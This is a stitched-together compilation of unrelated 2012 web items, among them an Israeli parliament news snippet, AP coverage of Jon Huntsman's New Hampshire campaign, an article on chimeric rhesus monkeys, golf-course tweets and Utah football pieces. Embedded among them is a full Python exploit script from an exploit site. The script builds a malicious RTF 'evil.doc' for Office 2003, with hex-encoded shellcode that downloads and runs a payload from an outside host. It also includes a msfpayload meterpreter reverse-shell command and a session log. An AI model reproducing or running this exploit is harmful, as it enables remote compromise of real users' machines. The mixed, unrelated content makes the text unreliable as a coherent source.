Michaeli is a member of the ultranationalist Yisrael Beitenu party, while Majadale is an Arab lawmaker with the centrist Labor Party.

The committee ruled Tuesday that Michaeli will not be allowed to participate in plenary or committee discussions for a month. She will be allowed to vote.

Source: http://www.miamiherald.com/2012/01/10/2582207/israel-parliament-suspends-water.html

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[local exploits] - Microsoft Office 2003 Home/Pro 0day

#!/usr/bin/python
  
 #-----------------------------------------------------------------------------------#
 # Exploit: Microsoft Office 2003 Home/Pro 0day - Tested on XP SP1,2.3               #
 # Authors: b33f (Ruben Boonen) && g11tch (Chris Hodges)                             #
 #####################################################################################
 # One shellcode to rule them all, One shellcode to find them, One shellcode to      #
 # bring them all and in the darkness bind them!!                                    #
 #                                                                                   #
 # Greetings: offsec, corelan, setoolkit                                             #
 #####################################################################################
 # (1) root@bt:~/Desktop/office# ./office2003.py                                     #
 #     root@bt:~/Desktop/office# mv evil.doc /var/www/                               #
 #                                                                                   #
 # (2) msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=9988 X #
 #     > /var/www/magic.exe                                                          #
 #                                                                                   #
 # (3) msf  exploit(handler) > exploit                                               #
 #                                                                                   #
 #    [*] Started reverse handler on 192.168.111.132:9988                            #
 #    [*] Starting the payload handler...                                            #
 #    [*] Sending stage (752128 bytes) to 192.168.111.128                            #
 #    [*] Meterpreter session 1 opened (192.168.111.132:9988 -> 192.168.111.128:1073)#
 #        at 2012-01-08 18:46:26 +0800                                               #
 #                                                                                   #
 #    meterpreter > ipconfig                                                         #
 #                                                                                   #
 #    MS TCP Loopback interface                                                      #
 #    Hardware MAC: 00:00:00:00:00:00                                                #
 #    IP Address  : 127.0.0.1                                                        #
 #    Netmask     : 255.0.0.0                                                        #
 #                                                                                   #
 #   AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport               #
 #   Hardware MAC: 00:0c:29:6c:92:42                                                 #
 #   IP Address  : 192.168.111.128                                                   #
 #   Netmask     : 255.255.255.0                                                     #
 #-----------------------------------------------------------------------------------#
  
 import binascii
  
 filename = "evil.doc"
  
 #-----------------------------------------------------------------------------------#
 # File Structure                                                                    #
 #-----------------------------------------------------------------------------------#
 file = (
 "{\\rt##{\shp{\sp}}{\shp{\sp}}{\shp{\sp}}{\shp{\*\shpinst\shpfhdr0\shpbxcolumn\s"
 "hpbypara\sh pwr2}{\sp{\sn {}{}{\sn}{\sn}{\*\*}pFragments}{\*\*\*}{\sv{\*\*\*\*\*"
 "\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}9;2;ffffffffff")
  
 #-----------------------------------------------------------------------------------#
 # Open raw socket to download payload to parent directory as "a.exe"                #
 # ==> cmd execute "a.exe"                                                           #
 #-----------------------------------------------------------------------------------#
 magic = (
 "\x65\x62\x37\x37\x33\x31\x63\x39\x36\x34\x38\x62\x37\x31\x33\x30"
 "\x38\x62\x37\x36\x30\x63\x38\x62\x37\x36\x31\x63\x38\x62\x35\x65"
 "\x30\x38\x38\x62\x37\x65\x32\x30\x38\x62\x33\x36\x36\x36\x33\x39"
 "\x34\x66\x31\x38\x37\x35\x66\x32\x63\x33\x36\x30\x38\x62\x36\x63"
 "\x32\x34\x32\x34\x38\x62\x34\x35\x33\x63\x38\x62\x35\x34\x30\x35"
 "\x37\x38\x30\x31\x65\x61\x38\x62\x34\x61\x31\x38\x38\x62\x35\x61"
 "\x32\x30\x30\x31\x65\x62\x65\x33\x33\x34\x34\x39\x38\x62\x33\x34"
 "\x38\x62\x30\x31\x65\x65\x33\x31\x66\x66\x33\x31\x63\x30\x66\x63"
 "\x61\x63\x38\x34\x63\x30\x37\x34\x30\x37\x63\x31\x63\x66\x30\x64"
 "\x30\x31\x63\x37\x65\x62\x66\x34\x33\x62\x37\x63\x32\x34\x32\x38"
 "\x37\x35\x65\x31\x38\x62\x35\x61\x32\x34\x30\x31\x65\x62\x36\x36"
 "\x38\x62\x30\x63\x34\x62\x38\x62\x35\x61\x31\x63\x30\x31\x65\x62"
 "\x38\x62\x30\x34\x38\x62\x30\x31\x65\x38\x38\x39\x34\x34\x32\x34"
 "\x31\x63\x36\x31\x63\x33\x65\x38\x39\x32\x66\x66\x66\x66\x66\x66"
 "\x35\x66\x38\x31\x65\x66\x39\x38\x66\x66\x66\x66\x66\x66\x65\x62"
 "\x30\x35\x65\x38\x65\x64\x66\x66\x66\x66\x66\x66\x36\x38\x38\x65"
 "\x34\x65\x30\x65\x65\x63\x35\x33\x65\x38\x39\x34\x66\x66\x66\x66"
 "\x66\x66\x33\x31\x63\x39\x36\x36\x62\x39\x36\x66\x36\x65\x35\x31"
 "\x36\x38\x37\x35\x37\x32\x36\x63\x36\x64\x35\x34\x66\x66\x64\x30"
 "\x36\x38\x33\x36\x31\x61\x32\x66\x37\x30\x35\x30\x65\x38\x37\x61"
 "\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39\x35\x31\x35\x31\x38\x64"
 "\x33\x37\x38\x31\x63\x36\x65\x65\x66\x66\x66\x66\x66\x66\x38\x64"
 "\x35\x36\x30\x63\x35\x32\x35\x37\x35\x31\x66\x66\x64\x30\x36\x38"
 "\x39\x38\x66\x65\x38\x61\x30\x65\x35\x33\x65\x38\x35\x62\x66\x66"
 "\x66\x66\x66\x66\x34\x31\x35\x31\x35\x36\x66\x66\x64\x30\x36\x38"
 "\x37\x65\x64\x38\x65\x32\x37\x33\x35\x33\x65\x38\x34\x62\x66\x66"
 "\x66\x66\x66\x66\x66\x66\x64\x30\x36\x33\x36\x64\x36\x34\x32\x65"
 "\x36\x35\x37\x38\x36\x35\x32\x30\x32\x66\x36\x33\x32\x30\x32\x30"
 "\x36\x31\x32\x65\x36\x35\x37\x38\x36\x35\x30\x30")
  
 #------------------------------------------------------------------------------------------------------------------------------#
 # Two versions of office 2003 floating around:                                                                                 #
 # (1) Standalone version, (2) XP Service Pack upgrade                                                                          #
 ################################################################################################################################
 # Unfortunatly though the exploit works perfectly for both versions they require different pointers to ESP...                  #
 #                                                                                                                              #
 # (1) 0x30324366 - CALL ESP - WINWORD.exe => "\x36\x36\x34\x33\x33\x32\x33\x30"                                                #
 # => http://download.microsoft.com/download/6/2/3/6233A257-16BD-4C8D-BF4C-6FA59AF9213A/OfficeSTD.exe                           #
 #                                                                                                                              #
 # (2) 0x30402655 - PUSH ESP -> RETN - WINWORD.exe => "\x35\x35\x32\x36\x34\x30\x33\x30"                                        #
 # => http://download.microsoft.com/download/7/7/8/778493c2-ace3-44c5-8bc3-d102da80e0f6/Office2003SP3-KB923618-FullFile-ENU.exe #
 #------------------------------------------------------------------------------------------------------------------------------#
  
 EIP = "\x36\x36\x34\x33\x33\x32\x33\x30" #should ascii convert the Little Endian pointer
  
 filler = "\x30\x30\x30\x30\x38\x30\x37\x63"*2 + "\x41"*24 + "\x39\x30"*18
  
 buffer = "\x23"*501 + "\x30\x35" + "\x30"*40 + EIP + filler + magic
  
 #-----------------------------------------------------------------------------------#
 # Since we are downloading our payload from a remote webserver there are no         #
 # restrictions on payload size or badcharacters...                                  #
 #-----------------------------------------------------------------------------------#
  
 URL = "http://192.168.111.132/magic.exe"
 binnu = binascii.b2a_hex(URL)
  
 URL2 = "00"
 nxt="{}}}}}}"
 nxt+="\x0d\x0a"
 nxt+="}"
  
 textfile = open(filename , 'w')
 textfile.write(file+buffer+binnu+URL2+nxt)
 textfile.close()
 
  # 1337day.com [2012-01-08]

Source: http://1337day.com/exploits/17352

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Huntsman looks for independent rise (AP)

SALEM, N.H. ? No group will shape Jon Huntsman's political future more than New Hampshire's independents.

Notoriously late to decide and difficult to poll, roughly 40 percent of the state's voters is not registered with any party. And election law gives them a prominent role in Tuesday's Republican presidential primary, a contest in which Huntsman has staked his candidacy on a top-three finish.

The former Utah governor, unsuccessful in a months-long appeal to traditional conservatives, recently shifted strategy to make an aggressive play for independents. What he says and where he says it now suggests he thinks he's found a path to relevancy in the race for the GOP nomination.

The message was on display Sunday as Huntsman struck a distinctly moderate tone during a nationally televised debate while rebutting rival Mitt Romney's criticism of Huntsman's role as ambassador to China in the Obama administration.

"He criticized me while he was out raising money, for serving my country in China, yes under a Democrat, like my two sons are doing in the United States Navy," Huntsman said. "I want to be very clear with the people here in New Hampshire and in this country. I will always put my country first."

Romney, the New Hampshire front-runner, countered that the Republican who stands against Obama in November shouldn't be someone who served him as ambassador to China.

Huntsman followed up: "This nation is divided ... because of attitudes just like that."

While Huntsman may be a factor Tuesday, any strategy that depends upon the independent vote is risky at best.

Romney and Ron Paul, the libertarian-minded Texas congressman, have support among unaffiliated voters as well. But it would be a mistake to assume that all unaffiliated voters here are moderates or pure political centrists. Many simply don't like party labels.

A sampling of the audience at a recent Romney event in Salem turned up unaffiliated voters who leaned toward Romney, Huntsman, Paul, and even Rick Santorum, the former Pennsylvania senator whose political career has been driven by social conservatism ? hardly a priority for the stereotypical independent.

Cindy Goucher, 42, an unaffiliated voter from Derry, said she liked Romney and Huntsman.

"I'm more of a moderate," she said, noting her interest in candidates who are more willing to compromise. "I think as Americans, we all need to work together and be flexible, work as a team."

Huntsman will need a lot of people like Cindy Goucher to vote Tuesday ? and to vote for him instead of Romney.

Huntsman unveiled signs bearing a new campaign slogan late Monday ? "Country First" ? borrowing a phrase from one of New Hampshire's favorite independent-minded presidential contenders, Arizona Sen. John McCain.

Romney, too, has an aggressive strategy to win over independents that includes mass mailings and holding events in independent strongholds in the southern part of the state, according to adviser Tom Rath.

Huntsman has intensified his attacks on Romney in recent days during campaign stops in moderate strongholds along the seacoast and western part of the state. An outside group, Our Destiny PAC, run by his allies is already running anti-Romney ads across New Hampshire and will expand the advertising campaign this week to South Carolina, which holds the next Republican primary on Jan. 21.

Romney's poll numbers appear to have fallen slightly amid attacks from virtually all his rivals, but he still held a commanding lead heading into Tuesday's voting. Huntsman's numbers, which hovered in single digits for months, have begun to show a moderate rise.

Huntsman received more good news Monday when former state GOP chairman Fergus Cullen greeted him outside a bakery in Dover.

Cullen said only Huntsman or Romney could beat Obama, but that he had decided to support Huntsman for his experience and temperament.

"I like that he's a positive person," Cullen said. "He's not angry. ... The party can't give in to its anger."

The stakes are high for Huntsman Tuesday. He doesn't need to win, but will struggle to stay in the race if he finishes outside the top three.

"I don't think that would be in the realm of beating market expectations," he told The Associated Press recently when asked about a below-third finish.

He planned to spend Wednesday campaigning in South Carolina.

Source: http://us.rd.yahoo.com/dailynews/rss/politics/*http%3A//news.yahoo.com/s/ap/20120109/ap_on_el_pr/us_nh_independents

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This summary is not available. Please click here to view the post.

Baby Monkeys With 6 Genomes Are Scientific First

Roku and Hex, two of the world's first chimeric primates. Image: (c) OHSU Photos

They look like ordinary baby rhesus macaques, but Hex, Roku and Chimero are the world's first chimeric monkeys, each with cells from the genomes of as many as six rhesus monkeys.

Until now research on so-called chimeric animals, or those that have cells with different genomes, has been limited to mice; a recent procedure produced mice using cells from two dads.

The researchers turned to monkeys for more insight into the capabilities of embryonic stem cells. Most experiments on stem cell therapies are based on mice, and the researchers wanted to understand whether primate embryonic stem cells respond the same way as those of mice do.

To create the chimeric monkeys, researchers essentially glued together cells from individual rhesus monkey embryos and then implanting these mixed embryos into mama monkeys.

The key was mixing cells from very early-stage embryos, or blastocysts, that consisted of just two to four cells ? each one of the cells still totipotent, capable of transforming into a whole animal as well as the placenta and other life-sustaining tissues. (This is in contrast to pluripotent stem cells, which can differentiate into any tissue type in the body, but not certain embryonic tissues or entire organisms.)

"The cells never fuse, but they stay together and work together to form tissues and organs," said Shoukhrat Mitalipov of the Oregon National Primate Research Center at Oregon Health & Science University. "The possibilities for science are enormous." [Images of the Chimeric Monkeys]

Try, try again

The researchers first tried creating chimeric monkeys using the process for chimeric mice. In this procedure, embryonic stem cells are injected into a host embryo after they have been cultured for as long as decades. These stem cells will mix with the host embryo's cells to produce tissues and organs and ultimately offspring. When these offspring are mated, the resulting offspring have cells derived solely from the implanted stem cells. If you were to pluck two cells from a chimeric mouse's body, you could get two different genomes? ?? complete sets of chromosomes and genetic information.

But the methods that work to create chimeric mice failed in rhesus monkeys, leading to offspring with cells only from the host embryo.

"Unfortunately that didn't work," Mitalipov told LiveScience in a telephone interview. "We produced offspring that way and they didn't show any contribution of stem cells." The stem cells seemed to have gotten lost somewhere, he said.

The researchers guessed that the culturing somehow had changed these embryonic stem cells. So they recovered stem cells from an embryo's inner cell mass (rather than from the freezer after being cultured) and, without culturing them, injected the stem cells into a host embryo.

Rather than one chimeric monkey infant, the result was two separate fetuses ? twins.

Finally, the researchers hit on a successful method, using early blastocysts that had split into no more than four separate cells. They took individual cells out of these clumps and aggregated them back together, mixing and matching between three and six individuals to create 29 new blastocysts. The researchers picked the 14 strongest-looking of them and implanted them in five surrogate mother monkeys.?

Source: http://rss.sciam.com/click.phdo?i=50bdb6a8567db33ea0ebb3c567544f0b

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wcfcourier: Say what? Waterloo golf courses to reopen: WATERLOO --- South Hills, Gates and Irv Warren Memorial golf courses ... http://t.co/i3GLvPAY

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Say what? Waterloo golf courses to reopen: WATERLOO --- South Hills, Gates and Irv Warren Memorial golf courses ... bit.ly/xPvA0F Il y a environ 5 heures via twitterfeed Retweeted by 2 people

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Source: http://twitter.com/wcfcourier/statuses/154641918981189634

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"The University of Utah and its athletics department periodically review the use of the circle and...

"The University of Utah and its athletics department periodically review the use of the circle and feather logo out of sensitivity for native tribes across the country as well as Utah fans. At this time, the athletics department will continue to use both the circle and feather and the block U logos."

Source: http://www.blocku.com/2012/1/3/2679693/the-university-of-utah-and-its-athletics-department-periodically

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Utah football: Bowl game could be statement game for Utes? D

El Paso, Texas ? Utah?s 2011 football season will not only be remembered for Utah?s inaugural experience in the Pac-12, but also for the way the defense carried the team in the absence of starting quarterback Jordan Wynn.

It?s fitting then that Utah?s defense gets one last chance to shine as the Utes face Georgia Tech (8-4) in the Sun Bowl Saturday.

The game kicks off at noon and will be televised by CBS.

Since the Yellow Jackets are the nation?s third best rushing team, averaging 316.8 yards a game, and Utah?s defense has a strong reputation for shutting down rushers, the Utes (7-5) view Saturday?s contest in Sun Bowl Stadium as a great chance to put their final stamp of ownership on the 2011 season.

"It?s an exciting offense and it can be hard to stop, but that?s why we like the challenge," safety Brian Blechen said. "You always want to stop the run and they are such a good running team, we?ve been working hard and watching film and getting ready for it. You can?t prepare enough for it."

In a testament to their team-mindfulness, Utah?s defenders are careful to give credit to Utah?s offense for games won this year as much as to themselves.

"There have been times when they?ve bailed us out too," linebacker Chaz Walker said.

Really, those times were scarce as the Utes? defense strives to own games.

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"If our offense can score 10 points, then our defense better hold [the opponent] to nine points or less," Utah coach Kyle Whittingham said. "That has always been our mentality, we want a shutout every game."

The Utes never got a shutout this year but do rank 18th nationally, giving up just 19.7 points a game. That is an impressive number on its own, but even more so given the number of turnovers and other struggles the Utes? offense had that put the defense in bad situations.

For a season that was anticipated to be all about Norm Chow?s new offense, 2011 was more of the same for the Utes as the defense shut down one team after another.

The only game the Utes had a poor defensive showing was in the 34-10 loss to Cal when the Utes gave up 384 yards, Whittingham said.

"The defense has played well from the onset, from Game 1 through Game 12," he said. "We?ve had very consistent football, at or near the top of all the major statistics and I attribute that to the attitude and work of the defensive players."

Others attribute it to the Utes? system, which was put in place by Whittingham?s father, Fred, and honed by his son.

It is so consistent that even Georgia Tech offensive coordinator Brian Bohannon, who was on Navy?s staff in 2007, sees similarities between the defense he played that day and the one his Georgia Tech team faces in the Sun Bowl.

"I left the field that day impressed with how tough they are and I don?t think it will be any different now," he said. "The personnel is different, but the scheme and the way they recruit, they are not going to change a whole lot."

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Source: http://www.sltrib.com/sltrib/utes/53205482-89/utah-utes-defense-bowl.html.csp

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